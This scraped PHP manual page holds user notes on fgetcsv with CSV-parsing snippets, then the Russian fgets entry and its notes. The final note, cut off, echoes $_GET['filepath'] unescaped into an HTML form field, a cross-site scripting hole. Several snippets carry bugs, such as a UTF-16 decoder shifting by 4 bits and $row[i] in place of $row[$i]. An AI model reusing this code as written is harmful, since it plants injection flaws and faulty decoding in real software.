I had a csv file whose fields included data with line endings (CRLF created by hitting the carriage returns in html textarea). Of course, the LF in these fields was escaped by MySQL during the creation of the csv. Problem is I could NOT get fgetcsv to work correctly here, since each and every LF was regarded as the end of a line of the csv file, even when it was escaped!

Since what I wanted was to get THE FIRST LINE of the csv file, then count the number of fields by exploding on all unescaped commas, I had to resort to this:

<?php
/*
First five lines of csv: the 4th row has a line-break within  a data field. The LFs represent line-feeds or \n
1,okonkwo joseph,nil,2010-01-12 17:41:40LF
2,okafor john,cq and sulphonamides,2010-01-12 17:58:03LF
3,okoye andrew,lives with hubby in abuja,2011-03-30 13:39:19LF
4,okeke peter,In 2001\, had appendicectomy in AbaCR
\LF
In 2004\, had ELCS at a private hoapital in Lagos,2011-03-30 13:39:19LF
5,adewale chris,cq and sulphonamides,2010-01-12 17:58:03LF

*/

        $fp = fopen('file.csv', 'r');
        $i = 1;
        $str='';
        $srch='';
            while (false !== ($char = fgetc($fp))) {
                $str .= $char;//use this to collect the string for outputting
                $srch .= $char;//use this to search for LF, possible preceded by \'
                if(strlen($srch) > 2){
                    $srch = substr($srch, 1);//ie trim off the first char
                }
                if($i > 1 && $srch[1] == chr(10) && $srch[0] != '\\'){//chr(10) is LF, ie \n
                    break;//if you get to the \n NOT preceded by \, that's the real line-ending, stop collecting the string;
                }

            $i++;
        }
        echo $str;//should contain the first line as string

?>
Perhaps there exists a more elegant solution to this issue, in which case I'd be glad to know!
matasbi at gmail dot com 08-Dec-2010 08:22
Parse from Microsoft Excel "Unicode Text (*.txt)" format:

<?php
function parse($file) {
    if (($handle = fopen($file, "r")) === FALSE) return;
    while (($cols = fgetcsv($handle, 1000, "\t")) !== FALSE) {
        foreach( $cols as $key => $val ) {
            $cols[$key] = trim( $cols[$key] );
            $cols[$key] = iconv('UCS-2', 'UTF-8', $cols[$key]."\0") ;
            $cols[$key] = str_replace('""', '"', $cols[$key]);
            $cols[$key] = preg_replace("/^\"(.*)\"$/sim", "$1", $cols[$key]);
        }
        echo print_r($cols, 1);
    }
}
?>
code at ashleyhunt dot co dot uk 04-Dec-2010 07:14
I needed a function to analyse a file for delimiters and line endings prior to importing the file into MySQL using LOAD DATA LOCAL INFILE

I wrote this function to do the job, the results are (mostly) very accurate and it works nicely with large files too.
<?php
function analyse_file($file, $capture_limit_in_kb = 10) {
    // capture starting memory usage
    $output['peak_mem']['start']    = memory_get_peak_usage(true);

    // log the limit how much of the file was sampled (in Kb)
    $output['read_kb']                 = $capture_limit_in_kb;

    // read in file
    $fh = fopen($file, 'r');
        $contents = fread($fh, ($capture_limit_in_kb * 1024)); // in KB
    fclose($fh);

    // specify allowed field delimiters
    $delimiters = array(
        'comma'     => ',',
        'semicolon' => ';',
        'tab'         => "\t",
        'pipe'         => '|',
        'colon'     => ':'
    );

    // specify allowed line endings
    $line_endings = array(
        'rn'         => "\r\n",
        'n'         => "\n",
        'r'         => "\r",
        'nr'         => "\n\r"
    );

    // loop and count each line ending instance
    foreach ($line_endings as $key => $value) {
        $line_result[$key] = substr_count($contents, $value);
    }

    // sort by largest array value
    asort($line_result);

    // log to output array
    $output['line_ending']['results']     = $line_result;
    $output['line_ending']['count']     = end($line_result);
    $output['line_ending']['key']         = key($line_result);
    $output['line_ending']['value']     = $line_endings[$output['line_ending']['key']];
    $lines = explode($output['line_ending']['value'], $contents);

    // remove last line of array, as this maybe incomplete?
    array_pop($lines);

    // create a string from the legal lines
    $complete_lines = implode(' ', $lines);

    // log statistics to output array
    $output['lines']['count']     = count($lines);
    $output['lines']['length']     = strlen($complete_lines);

    // loop and count each delimiter instance
    foreach ($delimiters as $delimiter_key => $delimiter) {
        $delimiter_result[$delimiter_key] = substr_count($complete_lines, $delimiter);
    }

    // sort by largest array value
    asort($delimiter_result);

    // log statistics to output array with largest counts as the value
    $output['delimiter']['results']     = $delimiter_result;
    $output['delimiter']['count']         = end($delimiter_result);
    $output['delimiter']['key']         = key($delimiter_result);
    $output['delimiter']['value']         = $delimiters[$output['delimiter']['key']];

    // capture ending memory usage
    $output['peak_mem']['end'] = memory_get_peak_usage(true);
    return $output;
}
?>

Example Usage:
<?php
$Array = analyse_file('/www/files/file.csv', 10);

// example usable parts
// $Array['delimiter']['value'] => ,
// $Array['line_ending']['value'] => \r\n
?>

Full function output:
Array
(
    [peak_mem] => Array
        (
            [start] => 786432
            [end] => 786432
        )

    [line_ending] => Array
        (
            [results] => Array
                (
                    [nr] => 0
                    [r] => 4
                    [n] => 4
                    [rn] => 4
                )

            [count] => 4
            [key] => rn
            [value] =>

        )

    [lines] => Array
        (
            [count] => 4
            [length] => 94
        )

    [delimiter] => Array
        (
            [results] => Array
                (
                    [colon] => 0
                    [semicolon] => 0
                    [pipe] => 0
                    [tab] => 1
                    [comma] => 17
                )

            [count] => 17
            [key] => comma
            [value] => ,
        )

    [read_kb] => 10
)

Enjoy!

Ashley
mustafa dot kachwala at gmail dot com 25-Oct-2010 01:59
A simple function to return 2 Dimensional array by parsing a CSV file.

<?php
    function get2DArrayFromCsv($file,$delimiter) {
        if (($handle = fopen($file, "r")) !== FALSE) {
            $i = 0;
            while (($lineArray = fgetcsv($handle, 4000, $delimiter)) !== FALSE) {
                for ($j=0; $j<count($lineArray); $j++) {
                    $data2DArray[$i][$j] = $lineArray[$j];
                }
                $i++;
            }
            fclose($handle);
        }
        return $data2DArray;
    }
?>
jack dot peterson at gmail dot com 05-Oct-2010 04:30
If you receive data in the following format:

Time,Dataset1,Dataset2,
timestamp1,item 1 for dataset 1,item1 for dataset2
timestamp2,item 2 for dataset 1,item2 for dataset2

the following code will output a series of arrays grouped by column with the resulting format:
array (
[column 1 title] => array (
[timestamp1] => item1 for dataset1
[timestamp2] => item2 for dataset1
)

[column 2 title] => array (
[timestamp1] => item1 for dataset2
[timestamp2] => item2 for dataset2
)
)

<?php

# Open the File.
if (($handle = fopen("rawdata.csv", "r")) !== FALSE) {
    # Set the parent multidimensional array key to 0.
    $nn = 0;
    while (($data = fgetcsv($handle, 0, ",")) !== FALSE) {
        # Count the total keys in the row.
        $c = count($data);
        # Populate the multidimensional array.
        for ($x=0;$x<$c;$x++)
        {
            $csvarray[$nn][$x] = $data[$x];
        }
        $nn++;
    }
    # Close the File.
    fclose($handle);
}

// take the row'ified data and columnize the array
function columnizeArray($csvarray) {
    $array = array();
    foreach($csvarray as $key=>$value) {
        // reparse into useful array data.
        if ($key == 0) {
            foreach ($value AS $key2=>$value2) {
                $array[$key2] = array();
                $array[$key2][] = $value2;
            }
        }else if ($key > 0){
            foreach ($value as $key3=>$value3) {
                $array[$key3][] = $value3;
            }
        }else{
        }
    }
    return $array;
}
function groupColumns($array = null) {
    $array2 = array();
    foreach ($array as $k=>$v) {
        // procss each column
        // $k = column number
        // $v = array of rows
        if ($k == 0) {}else{ // working on column 2 or higher
            $array2[$v[0]] = array();
            foreach ($array[0] as $k1=>$v1) {
                if ($v1 > 0) { // ignore the column heading
                    // store the first column variable in as the key.
                    // Store the value associated with this item as the value.
                    $array2[$v[0]][$v1] = $v[$k1];
                }
            }
     }
    }
    return $array2;
}

$array2 = groupColumns(columnizeArray($csvarray));

print_r($array2);

?>
Xander 29-Sep-2010 01:42
I had a problem with multibytes. File was windows-1250, script was UTF-8 and set_locale wasn't work so I made a simple and safe workaround:

<?php
$fc = iconv('windows-1250', 'utf-8', file_get_contents($_FILES['csv']['tmp_name']));

            file_put_contents('tmp/import.tmp', $fc);
            $handle = fopen('tmp/import.tmp', "r");
            $rows = array();
            while (($data = fgetcsv($handle, 0, ";")) !== FALSE) {

                $rows[] = $data;

            }
            fclose($handle);
            unlink('tmp/import.tmp');
?>

I hope You will find it out usefull.
Sorry for my english.
do not spam aleske at live dot ru 08-Jul-2010 06:38
The PHP's CSV handling stuff is non-standard and contradicts with RFC4180, thus fgetcsv() cannot properly deal with files like this example from Wikipedia:

1997,Ford,E350,"ac, abs, moon",3000.00
1999,Chevy,"Venture ""Extended Edition""","",4900.00
1999,Chevy,"Venture ""Extended Edition, Very Large""","",5000.00
1996,Jeep,Grand Cherokee,"MUST SELL!
air, moon roof, loaded",4799.00

Please note: the enclosure symbol is doubled inside fields, field data can contain linebreaks, and there is no real escape symbol. Also, fputcsv() creates non-standard CSV files.

There is a quick and dirty RFC-compliant realization of CSV creation and parsing:

<?php
function array_to_csvstring($items, $CSV_SEPARATOR = ';', $CSV_ENCLOSURE = '"', $CSV_LINEBREAK = "\n") {
  $string = '';
  $o = array();

  foreach ($items as $item) {
    if (stripos($item, $CSV_ENCLOSURE) !== false) {
      $item = str_replace($CSV_ENCLOSURE, $CSV_ENCLOSURE . $CSV_ENCLOSURE, $item);
    }

    if ((stripos($item, $CSV_SEPARATOR) !== false)
     || (stripos($item, $CSV_ENCLOSURE) !== false)
     || (stripos($item, $CSV_LINEBREAK !== false))) {
      $item = $CSV_ENCLOSURE . $item . $CSV_ENCLOSURE;
    }

    $o[] = $item;
  }

  $string = implode($CSV_SEPARATOR, $o) . $CSV_LINEBREAK;

  return $string;
}

function csvstring_to_array(&$string, $CSV_SEPARATOR = ';', $CSV_ENCLOSURE = '"', $CSV_LINEBREAK = "\n") {
  $o = array();

  $cnt = strlen($string);
  $esc = false;
  $escesc = false;
  $num = 0;
  $i = 0;
  while ($i < $cnt) {
    $s = $string[$i];

    if ($s == $CSV_LINEBREAK) {
      if ($esc) {
        $o[$num] .= $s;
      } else {
        $i++;
        break;
      }
    } elseif ($s == $CSV_SEPARATOR) {
      if ($esc) {
        $o[$num] .= $s;
      } else {
        $num++;
        $esc = false;
        $escesc = false;
      }
    } elseif ($s == $CSV_ENCLOSURE) {
      if ($escesc) {
        $o[$num] .= $CSV_ENCLOSURE;
        $escesc = false;
      }

      if ($esc) {
        $esc = false;
        $escesc = true;
      } else {
        $esc = true;
        $escesc = false;
      }
    } else {
      if ($escesc) {
        $o[$num] .= $CSV_ENCLOSURE;
        $escesc = false;
      }

      $o[$num] .= $s;
    }

    $i++;
  }

//  $string = substr($string, $i);

  return $o;
}
?>

References:
RFC4180 - http://tools.ietf.org/html/rfc4180
Wikipedia - http://en.wikipedia.org/wiki/Comma-separated_values#Example

Also, there is complete solution of CSV handling at http://code.google.com/p/parsecsv-for-php/
jonathangrice at yahoo dot com 15-Jun-2010 07:14
This is how to read a csv file into a multidimensional array.

 <?php
    # Open the File.
    if (($handle = fopen("file.csv", "r")) !== FALSE) {
        # Set the parent multidimensional array key to 0.
        $nn = 0;
        while (($data = fgetcsv($handle, 1000, ",")) !== FALSE) {
            # Count the total keys in the row.
            $c = count($data);
            # Populate the multidimensional array.
            for ($x=0;$x<$c;$x++)
            {
                $csvarray[$nn][$x] = $data[$x];
            }
            $nn++;
        }
        # Close the File.
        fclose($handle);
    }
    # Print the contents of the multidimensional array.
    print_r($csvarray);
?>
matthias dot isler at gmail dot com 29-Apr-2010 04:54
If you want to load some translations for your application, don't use csv files for that, even if it's easier to handle.

The following code snippet:

<?php
$lang = array();

$handle = fopen('en.csv', 'r');

while($row = fgetcsv($handle, 500, ';'))
{
    $lang[$row[0]] = $row[1];
}

fclose($handle);
?>

is about 400% slower than this code:

<?php
$lang = array();

$values = parse_ini_file('de.ini');

foreach($values as $key => $val)
{
    $lang[$key] = $val;
}
?>

That's the reason why you should allways use .ini files for translations...

http://php.net/parse_ini_file
kent at marketruler dot com 04-Feb-2010 10:18
Note that fgetcsv, at least in PHP 5.3 or previous, will NOT work with UTF-16 encoded files. Your options are to convert the entire file to ISO-8859-1 (or latin1), or convert line by line and convert each line into ISO-8859-1 encoding, then use str_getcsv (or compatible backwards-compatible implementation). If you need to read non-latin alphabets, probably best to convert to UTF-8.

See str_getcsv for a backwards-compatible version of it with PHP < 5.3, and see utf8_decode for a function written by Rasmus Andersson which provides utf16_decode. The modification I added was that the BOP appears at the top of the file, then not on subsequent lines. So you need to store the endian-ness, and then re-send it upon each subsequent line decoding. This modified version returns the endianness, if it's not available:

<?php
/**
 * Decode UTF-16 encoded strings.
 *
 * Can handle both BOM'ed data and un-BOM'ed data.
 * Assumes Big-Endian byte order if no BOM is available.
 * From: http://php.net/manual/en/function.utf8-decode.php
 *
 * @param   string  $str  UTF-16 encoded data to decode.
 * @return  string  UTF-8 / ISO encoded data.
 * @access  public
 * @version 0.1 / 2005-01-19
 * @author  Rasmus Andersson {@link http://rasmusandersson.se/}
 * @package Groupies
 */
function utf16_decode($str, &$be=null) {
    if (strlen($str) < 2) {
        return $str;
    }
    $c0 = ord($str{0});
    $c1 = ord($str{1});
    $start = 0;
    if ($c0 == 0xFE && $c1 == 0xFF) {
        $be = true;
        $start = 2;
    } else if ($c0 == 0xFF && $c1 == 0xFE) {
        $start = 2;
        $be = false;
    }
    if ($be === null) {
        $be = true;
    }
    $len = strlen($str);
    $newstr = '';
    for ($i = $start; $i < $len; $i += 2) {
        if ($be) {
            $val = ord($str{$i})   << 4;
            $val += ord($str{$i+1});
        } else {
            $val = ord($str{$i+1}) << 4;
            $val += ord($str{$i});
        }
        $newstr .= ($val == 0x228) ? "\n" : chr($val);
    }
    return $newstr;
}
?>

Trying the "setlocale" trick did not work for me, e.g.

<?php
setlocale(LC_CTYPE, "en.UTF16");
$line = fgetcsv($file, ...)
?>

But that's perhaps because my platform didn't support it. However, fgetcsv only supports single characters for the delimiter, etc. and complains if you pass in a UTF-16 version of said character, so I gave up on that rather quickly.

Hope this is helpful to someone out there.
jaimthorn at yahoo dot com 04-Dec-2009 02:38
I used fgetcsv to read pipe-delimited data files, and ran into the following quirk.

The data file contained data similar to this:

RECNUM|TEXT|COMMENT
1|hi!|some comment
2|"error!|another comment
3|where does this go?|yet another comment
4|the end!"|last comment

I read the file like this:

<?php
$row = fgetcsv( $fi, $length, '|' );
?>

This causes a problem on record 2: the quote immediately after the pipe causes the file to be read up to the following quote --in this case, in record 4.  Everything in between was stored in a single element of $row.

In this particular case it is easy to spot, but my script was processing thousands of records and it took me some time to figure out what went wrong.

The annoying thing is, that there doesn't seem to be an elegant fix.  You can't tell PHP not to use an enclosure --for example, like this:

<?php
$row = fgetcsv( $fi, $length, '|', '' );
?>

(Well, you can tell PHP that, but it doesn't work.)

So you'd have to resort to a solution where you use an extremely unlikely enclosure, but since the enclosure can only be one character long, it may be hard to find.

Alternatively (and IMNSHO: more elegantly), you can choose to read these files like this, instead:

<?php
$line = fgets( $fi, $length );
$row = explode( '|', $line );
?>

As it's more intuitive and resilient, I've decided to favor this 'construct' over fgetcsv from now on.
james dot ellis at gmail dot com 23-Nov-2008 10:19
If you need to set auto_detect_line_endings to deal with Mac line endings, it may seem obvious but remember it should be set before fopen, not after:

This will work:
<?php
ini_set('auto_detect_line_endings',TRUE);
$handle = fopen('/path/to/file','r');
while ( ($data = fgetcsv($handle) ) !== FALSE ) {
//process
}
ini_set('auto_detect_line_endings',FALSE);
?>

This won't, you will still get concatenated fields at the new line position:
<?php
$handle = fopen('/path/to/file','r');
ini_set('auto_detect_line_endings',TRUE);
while ( ($data = fgetcsv($handle) ) !== FALSE ) {
//process
}
ini_set('auto_detect_line_endings',FALSE);
?>
michael dot martinek at gmail dot com 09-Oct-2008 09:12
Here's something I put together this morning. It allows you to read rows from your CSV and get values based on the name of the column. This works great when your header columns are not always in the same order; like when you're processing many feeds from different customers. Also makes for cleaner, easier to manage code.

So if your feed looks like this:

product_id,category_name,price,brand_name, sku_isbn_upc,image_url,landing_url,title,description
123,Test Category,12.50,No Brand,0,http://www.example.com, http://www.example.com/landing.php, Some Title,Some Description

You can do:
<?php
while ($o->getNext())
{
   $dPrice = $o->getPrice();
   $nProductID = $o->getProductID();
   $sBrandName = $o->getBrandName();
}
?>

If you have any questions or comments regarding this class, they can be directed to michael.martinek@gmail.com as I probably won't be checking back here.

<?php
    define('C_PPCSV_HEADER_RAW',        0);
    define('C_PPCSV_HEADER_NICE',        1);

    class PaperPear_CSVParser
    {
        private $m_saHeader = array();
        private $m_sFileName = '';
        private $m_fp = false;
        private $m_naHeaderMap = array();
        private $m_saValues = array();

        function __construct($sFileName)
        {
            //quick and dirty opening and processing.. you may wish to clean this up
            if ($this->m_fp = fopen($sFileName, 'r'))
            {
                $this->processHeader();
            }
        }

          function __call($sMethodName, $saArgs)
        {
            //check to see if this is a set() or get() request, and extract the name
            if (preg_match("/[sg]et(.*)/", $sMethodName, $saFound))
            {
                //convert the name portion of the [gs]et to uppercase for header checking
                $sName = strtoupper($saFound[1]);

                //see if the entry exists in our named header-> index mapping
                  if (array_key_exists($sName, $this->m_naHeaderMap))
                  {
                      //it does.. so consult the header map for which index this header controls
                      $nIndex = $this->m_naHeaderMap[$sName];
                      if ($sMethodName{0} == 'g')
                      {
                          //return the value stored in the index associated with this name
                             return $this->m_saValues[$nIndex];
                      }
                      else
                      {
                          //set the valuw
                          $this->m_saValues[$nIndex] = $saArgs[0];
                          return true;
                      }
                  }
            }

            //nothing we control so bail out with a false
              return false;
          }

          //get a nicely formatted header name. This will take product_id and make
          //it PRODUCTID in the header map. So now you won't need to worry about whether you need
          //to do a getProductID, or getproductid, or getProductId.. all will work.
        public static function GetNiceHeaderName($sName)
        {
            return strtoupper(preg_replace('/[^A-Za-z0-9]/', '', $sName));
        }

        //process the header entry so we can map our named header fields to a numerical index, which
        //we'll use when we use fgetcsv().
        private function processHeader()
        {
            $sLine = fgets($this->m_fp);
                        //you'll want to make this configurable
            $saFields = split(",", $sLine);

            $nIndex = 0;
            foreach ($saFields as $sField)
            {
                //get the nice name to use for "get" and "set".
                $sField = trim($sField);

                $sNiceName = PaperPear_CSVParser::GetNiceHeaderName($sField);

                //track correlation of raw -> nice name so we don't have to do on-the-fly nice name checks
                $this->m_saHeader[$nIndex] = array(C_PPCSV_HEADER_RAW => $sField, C_PPCSV_HEADER_NICE => $sNiceName);
                $this->m_naHeaderMap[$sNiceName] = $nIndex;
                $nIndex++;
            }
        }

        //read the next CSV entry
        public function getNext()
        {
            //this is a basic read, you will likely want to change this to accomodate what
            //you are using for CSV parameters (tabs, encapsulation, etc).
            if (($saValues = fgetcsv($this->m_fp)) !== false)
            {
                $this->m_saValues = $saValues;
                return true;
            }
            return false;
        }
    }

    //quick example of usage
    $o = new PaperPear_CSVParser('F:\foo.csv');
    while ($o->getNext())
    {
        echo "Price=" . $o->getPrice() . "\r\n";
    }

?>
Tim Henderson 04-Oct-2007 06:40
Only problem with fgetcsv(), at least in PHP 4.x -- any stray slash in the data that happens to come before a double-quote delimiter will break it -- ie, cause the field delimiter to be escaped. I can't find a direct way to deal with it, since fgetcsv() doesn't give you a chance to manipulate the line before it reads it and parses it...I've had to change all occurrences of '\"' to '" in the file first before feeding ot to fgetcsv(). Otherwise this is perfect for that Microsoft-CSV formula, deals gracefully with all the issues.
myrddin at myrddin dot myrddin 18-Jul-2006 09:14
Here is a OOP based importer similar to the one posted earlier. However, this is slightly more flexible in that you can import huge files without running out of memory, you just have to use a limit on the get() method

Sample usage for small files:-
-------------------------------------
<?php
$importer = new CsvImporter("small.txt",true);
$data = $importer->get();
print_r($data);
?>

Sample usage for large files:-
-------------------------------------
<?php
$importer = new CsvImporter("large.txt",true);
while($data = $importer->get(2000))
{
print_r($data);
}
?>

And heres the class:-
-------------------------------------
<?php
class CsvImporter
{
    private $fp;
    private $parse_header;
    private $header;
    private $delimiter;
    private $length;
    //--------------------------------------------------------------------
    function __construct($file_name, $parse_header=false, $delimiter="\t", $length=8000)
    {
        $this->fp = fopen($file_name, "r");
        $this->parse_header = $parse_header;
        $this->delimiter = $delimiter;
        $this->length = $length;
        $this->lines = $lines;

        if ($this->parse_header)
        {
           $this->header = fgetcsv($this->fp, $this->length, $this->delimiter);
        }

    }
    //--------------------------------------------------------------------
    function __destruct()
    {
        if ($this->fp)
        {
            fclose($this->fp);
        }
    }
    //--------------------------------------------------------------------
    function get($max_lines=0)
    {
        //if $max_lines is set to 0, then get all the data

        $data = array();

        if ($max_lines > 0)
            $line_count = 0;
        else
            $line_count = -1; // so loop limit is ignored

        while ($line_count < $max_lines && ($row = fgetcsv($this->fp, $this->length, $this->delimiter)) !== FALSE)
        {
            if ($this->parse_header)
            {
                foreach ($this->header as $i => $heading_i)
                {
                    $row_new[$heading_i] = $row[$i];
                }
                $data[] = $row_new;
            }
            else
            {
                $data[] = $row;
            }

            if ($max_lines > 0)
                $line_count++;
        }
        return $data;
    }
    //--------------------------------------------------------------------

}
?>
daniel at softel dot jp 08-Mar-2006 07:03
Note that fgetcsv() uses the system locale setting to make assumptions about character encoding.
So if you are trying to process a UTF-8 CSV file on an EUC-JP server (for example),
you will need to do something like this before you call fgetcsv():

setlocale(LC_ALL, 'ja_JP.UTF8');

[Also not that setlocale() doesn't *permanently* affect the system locale setting]
27-Feb-2006 03:05
beware of characters of binary value == 0, as they seem to make fgetcsv ignore the remaining part of a line where they appear.

Maybe this is normal under some convention I don't know, but a file exported from Excel had those as values for some cells *sometimes*, thus fgetcsv return variable cell counts for different lines.

i'm using php 4.3
tokai at binaryriot dot com 07-Nov-2005 02:18
Newer PHP versions handle cvs files slightly different than older versions.

"Max Mustermann"|"Muster Road 34b"|"Berlin"    |"Germany"
"Sophie Master" |"Riverstreet"    |"Washington"|"USA"

The extra spaces behind a few fields in the example (which are useful, when you manually manage a small csv database to align the columns) were ignored by fgetcsv from PHP 4.3. With the new 4.4.1 release they get appended to the string, so you end up with "Riverstreet    " instead the expected "Riverstreet".

Easy workaround is to just trim all fields after reading them in.

<?php
while ( $data = fgetcsv($database, 32768, "|") )
{
    $i = 0;

    while(isset($data[$i]))
    {
        $data[$i] = rtrim($data[$i]);
        $i++;
    }

    // ....
}
?>
junk at vhd dot com dot au 24-Oct-2005 09:52
The fgetcsv function seems to follow the MS excel conventions, which means:

- The quoting character is escaped by itself and not the back slash.
(i.e.Let's use the double quote (") as the quoting character:

   Two double quotes  "" will give a single " once parsed, if they are inside a quoted field (otherwise neither of them will be removed).

   \" will give \" whether it is in a quoted field or not (same for \\) , and

   if a single double quote is inside a quoted field it will be removed. If it is not inside a quoted field it will stay).

- leading and trailing spaces (\s or \t) are never removed, regardless of whether they are in quoted fields or not.

- Line breaks within fields are dealt with correctly if they are in quoted fields. (So previous comments stating the opposite are wrong, unless they are using a different PHP version.... I am using 4.4.0.)

So fgetcsv if actually very complete and can deal with every possible situation. (It does need help for macintosh line breaks though, as mentioned in the help files.)

I wish I knew all this from the start. From my own benchmarks fgetcsv strikes a very good compromise between memory consumption and speed.

-------------------------
Note: If back slashes are used to escape quotes they can easily be removed afterwards. Same for leading and trailing spaces.
mortanon at gmail dot com 14-Oct-2005 08:05
Hier is an example for a CSV Iterator.

<?php
class CsvIterator implements Iterator
{
    const ROW_SIZE = 4096;
    /**
     * The pointer to the cvs file.
     * @var resource
     * @access private
     */
    private $filePointer = null;
    /**
     * The current element, which will
     * be returned on each iteration.
     * @var array
     * @access private
     */
    private $currentElement = null;
    /**
     * The row counter.
     * @var int
     * @access private
     */
    private $rowCounter = null;
    /**
     * The delimiter for the csv file.
     * @var str
     * @access private
     */
    private $delimiter = null;

    /**
     * This is the constructor.It try to open the csv file.The method throws an exception
     * on failure.
     *
     * @access public
     * @param str $file The csv file.
     * @param str $delimiter The delimiter.
     *
     * @throws Exception
     */
    public function __construct($file, $delimiter=',')
    {
        try {
            $this->filePointer = fopen($file, 'r');
            $this->delimiter = $delimiter;
        }
        catch (Exception $e) {
            throw new Exception('The file "'.$file.'" cannot be read.');
        }
    }

    /**
     * This method resets the file pointer.
     *
     * @access public
     */
    public function rewind() {
        $this->rowCounter = 0;
        rewind($this->filePointer);
    }

    /**
     * This method returns the current csv row as a 2 dimensional array
     *
     * @access public
     * @return array The current csv row as a 2 dimensional array
     */
    public function current() {
        $this->currentElement = fgetcsv($this->filePointer, self::ROW_SIZE, $this->delimiter);
        $this->rowCounter++;
        return $this->currentElement;
    }

    /**
     * This method returns the current row number.
     *
     * @access public
     * @return int The current row number
     */
    public function key() {
        return $this->rowCounter;
    }

    /**
     * This method checks if the end of file is reached.
     *
     * @access public
     * @return boolean Returns true on EOF reached, false otherwise.
     */
    public function next() {
        return !feof($this->filePointer);
    }

    /**
     * This method checks if the next row is a valid row.
     *
     * @access public
     * @return boolean If the next row is a valid row.
     */
    public function valid() {
        if (!$this->next()) {
            fclose($this->filePointer);
            return false;
        }
        return true;
    }
}
?>

Usage :

<?php
$csvIterator = new CsvIterator('/path/to/csvfile.csv');
foreach ($csvIterator as $row => $data) {
    // do somthing with $data
}
?>
jc at goetc dot net 16-Jun-2004 08:51
I've had alot of projects recently dealing with csv files, so I created the following class to read a csv file and return an array of arrays with the column names as keys. The only requirement is that the 1st row contain the column headings.

I only wrote it today, so I'll probably expand on it in the near future.

<?php
class CSVparse
  {
  var $mappings = array();

  function parse_file($filename)
    {
    $id = fopen($filename, "r"); //open the file
    $data = fgetcsv($id, filesize($filename)); /*This will get us the */
                                               /*main column names */

    if(!$this->mappings)
       $this->mappings = $data;

    while($data = fgetcsv($id, filesize($filename)))
        {
         if($data[0])
           {
            foreach($data as $key => $value)
               $converted_data[$this->mappings[$key]] = addslashes($value);
            $table[] = $converted_data; /* put each line into */
             }                                 /* its own entry in    */
         }                                     /* the $table array    */
    fclose($id); //close file
    return $table;
    }
  }
?>
phpnet at smallfryhosting dot co dot uk 18-Sep-2003 09:42
Another version [modified michael from mediaconcepts]

<?php
  function arrayFromCSV($file, $hasFieldNames = false, $delimiter = ',', $enclosure='') {
    $result = Array();
    $size = filesize($file) +1;
    $file = fopen($file, 'r');
    #TO DO: There must be a better way of finding out the size of the longest row... until then
    if ($hasFieldNames) $keys = fgetcsv($file, $size, $delimiter, $enclosure);
    while ($row = fgetcsv($file, $size, $delimiter, $enclosure)) {
        $n = count($row); $res=array();
        for($i = 0; $i < $n; $i++) {
            $idx = ($hasFieldNames) ? $keys[$i] : $i;
            $res[$idx] = $row[i];
        }
        $result[] = $res;
    }
    fclose($file);
    return $result;
  }
?>
kurtnorgaz at web dot de 21-Jul-2003 12:00
You should pay attention to the fact that "fgetcsv" does remove leading TAB-chars "chr(9)" while reading the file.

This means if you have a chr(9) as the first char in the file and you use fgetcsv this char is automaticaly deleted.

Example:
file content:
chr(9)first#second#third#fourth

source:
<?php $line = fgetcsv($handle,500,"#"); ?>

The array $line looks like:
$line[0] = first
$line[1] = second
$line[2] = third
$line[3] = fourth

and not
$line[0] = chr(9)first
$line[1] = second
$line[2] = third
$line[3] = fourth

All chr(9) after another char is not deleted!

Example:
file content:
Achr(9)first#second#third#fourth

source:
<?php $line = fgetcsv($handle,500,"#"); ?>

The array $line looks like:
$line[0] = Achr(9)first
$line[1] = second
$line[2] = third
$line[3] = fourth


Читает строку из файла

  • « fgetcsv
  • fgetss »
  • PHP Manual
  • Функции файловой системы
  • Читает строку из файла

fgets

(PHP 4, PHP 5, PHP 7, PHP 8)

fgets — Читает строку из файла

Описание

fgets(resource $stream, ?int $length = null): string|false

Читает строку из файлового указателя.

Список параметров

stream

Указатель на файл должен быть корректным и указывать на файл, успешно открытый функциями fopen() или fsockopen() (и всё ещё не закрытый функцией fclose()).

length

Чтение заканчивается при достижении length - 1 байт, либо если встретилась новая строка (которая включается в возвращаемый результат) или конец файла (в зависимости от того, что наступит раньше). Если длина не указана, чтение из потока будет продолжаться до тех пор, пока не достигнет конца строки.

Возвращаемые значения

Возвращает строку размером в length - 1 байт, прочитанную из дескриптора файла, на который указывает параметр stream. Если данных для чтения больше нет, то возвращает false.

В случае возникновения ошибки возвращает false.

Примеры

Пример #1 Построчное чтение файла

<?php
$fp = @fopen("/tmp/inputfile.txt", "r");
if ($fp) {
while (($buffer = fgets($fp, 4096)) !== false) {
echo $buffer;
}
if (!feof($fp)) {
echo "Ошибка: fgets() неожиданно потерпел неудачу\n";
}
fclose($fp);
}
?>

Примечания

Замечание: Если у вас возникают проблемы с распознаванием PHP концов строк при чтении или создании файлов на Macintosh-совместимом компьютере, включение опции auto_detect_line_endings может помочь решить проблему.

Замечание:

Программисты, привыкшие к семантике 'C' функции fgets(), должны принимать во внимание разницу в том, каким образом возвращается признак достижения конца файла (EOF).

Смотрите также

  • fgetss() - Читает строку из файла и удаляет HTML-теги
  • fread() - Бинарно-безопасное чтение файла
  • fgetc() - Считывает символ из файла
  • stream_get_line() - Получает строку из потокового ресурса до указанного разделителя
  • fopen() - Открывает файл или URL
  • popen() - Открывает файловый указатель процесса
  • fsockopen() - Открывает соединение с интернет-сокетом или доменным сокетом Unix
  • stream_set_timeout() - Установить значение времени ожидания для потока

User Contributed Notes

Anonymous 21-Mar-2020 03:34
if you for some reason need to get lines from a string instead of a file pointer, try

<?php
function string_gets(string $source, int $offset = 0, string $delimiter = "\n"): ?string
{
    $len = strlen($source);
    if ($len < $offset) {
        // out of bounds.. maybe i should throw an exception
        return null;
    }
    if ($len === $offset) {
        // end of string..
        return null;
    }
    $delimiter_pos = strpos($source, $delimiter, $offset);
    if ($delimiter_pos === false) {
        // last line.
        return substr($source, $offset);
    }
    return substr($source, $offset, ($delimiter_pos - $offset) + strlen($delimiter));
}

?>

(i had a ~16GB string in-memory i needed to process line-by-line, but i would get memory-allocation-crash (on a 32GB ram system) if i tried explode("\n",$str); , so came up with this.. interestingly, fgets() seems to be faster than doing it in-ram-in-php, though. php 7.3.7)
zsjpxah 03-Sep-2019 11:29
It's strange no one mentions "0" in this context.

Since "0" is considered to be false, a line with a single "0" can be treated as EOF if using the while assign idiom.

while ($line = fgets(STDIN, 2)) {
}

This may surprisingly break if a line starts with ")"
Anonymous 16-Mar-2018 04:57
<form>
<input type='text' name='filepath' value='<?php echo ((isset($_GET["filepath"])) ? $_GET["filepath"] : "");?>'>
<br>
<select name='sel'>
